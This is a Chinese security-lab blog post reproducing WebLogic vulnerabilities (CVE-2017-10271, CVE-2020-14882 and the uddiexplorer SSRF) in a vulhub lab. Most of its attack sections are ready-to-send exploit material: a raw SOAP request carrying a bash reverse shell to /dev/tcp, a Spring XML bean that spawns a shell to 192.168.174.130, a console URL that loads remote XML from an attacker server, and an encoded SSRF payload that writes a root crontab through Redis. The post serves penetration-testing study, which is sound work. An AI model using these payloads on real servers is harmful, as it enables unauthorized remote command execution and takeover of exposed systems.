戟星安全实验室
本文约3768字,阅读约需10分钟。
0x00 简述
0x01 CVE-2017-10271
Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
复现环境:win7攻击机 centos7靶机
受影响WebLogic版本:
10.3.6.0.0,12.1.3.0.0,12.2.1.1.0,12.2.1.2.0。
这里利用vulhub项目地址:
https://github.com/vulhub/vulhub
docker拉起
访问到这个界面代表拉起成功
判断:访问/wls-wsat/CoordinatorPortType11,存在下图
则说明可能存在漏洞
发送如下数据包(注意其中反弹shell的语句,需要进行编码,否则解析XML的时候将出现格式错误)。这里直接上反弹shell的POC丢bp:
POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: your-ip:7001
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE
9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: text/xml
Content-Length: 633
<soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext
xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0"
class="java.beans.XMLDecoder">
<void
class="java.lang.ProcessBuilder">
<array
class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i >&
/dev/tcp/接收shell的ip/21
0>&1</string>
</void>
</array>
<void
method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>
攻击机开启监听
0x02 CVE-2020-14882
影响版本
WebLogic 10.3.6.0.0,WebLogic 12.1.3.0.0,WebLogic 12.2.1.3.0,WebLogic 12.2.1.4.0,WebLogic 14.1.1.0.0
未授权访问poc:
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal
首先通过上面是CVE-2020-14882的权限绕过漏洞,未授权访问后台管理页面
下面是反弹shell
先构造一个能外网访问的ip并构造test.xml
encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beanshttp://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb"
class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash -i >& /dev/tcp/192.168.174.130/77770>&1]]></value>
</list>
</constructor-arg>
</bean>
</beans>
这里是用python
python3 -m http.server 7002
在攻击机上开启监听
POC:
http://被攻击IP:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://vps的/test.xml")
关于weak_password工具
https://github.com/TideSec/Decrypt_Weblogic_Password
0x03 关于weblogic的ssrf
SSRF漏洞测试
weblogic的SSRF漏洞存在于
http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp
在burp中测试该漏洞,访问一个可以访问的ip:port,访问ip是内网IP地址,一般是拒绝访问的
访问未开放的段口和以开放的端口返回的东西是不一样的。如下图
当是未开放的端口时:
可以看到返回的是could not connect over HTTP to server
是开放端口的话则返回:
由此可以判断内网开放的端口服务。加以利用
注入HTTP头,利用redis反弹shell
这里用脚本来进行内网端口探测,我这里脚本没探测到内网开放的端口,但是用上面方法手工尝试可以获取到172.20.0.2:6379
Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。
POC:
/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.174.130%2F7777%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
在攻击机开启监听,然后丢入poc放包
0x04 总结
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,戟星安全实验室及文章作者不为此承担任何责任。
戟星安全实验室拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经戟星安全实验室允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
戟星安全实验室
# 长按二维码 关注我们 #
原文始发于微信公众号(戟星安全实验室):weblogic常见漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论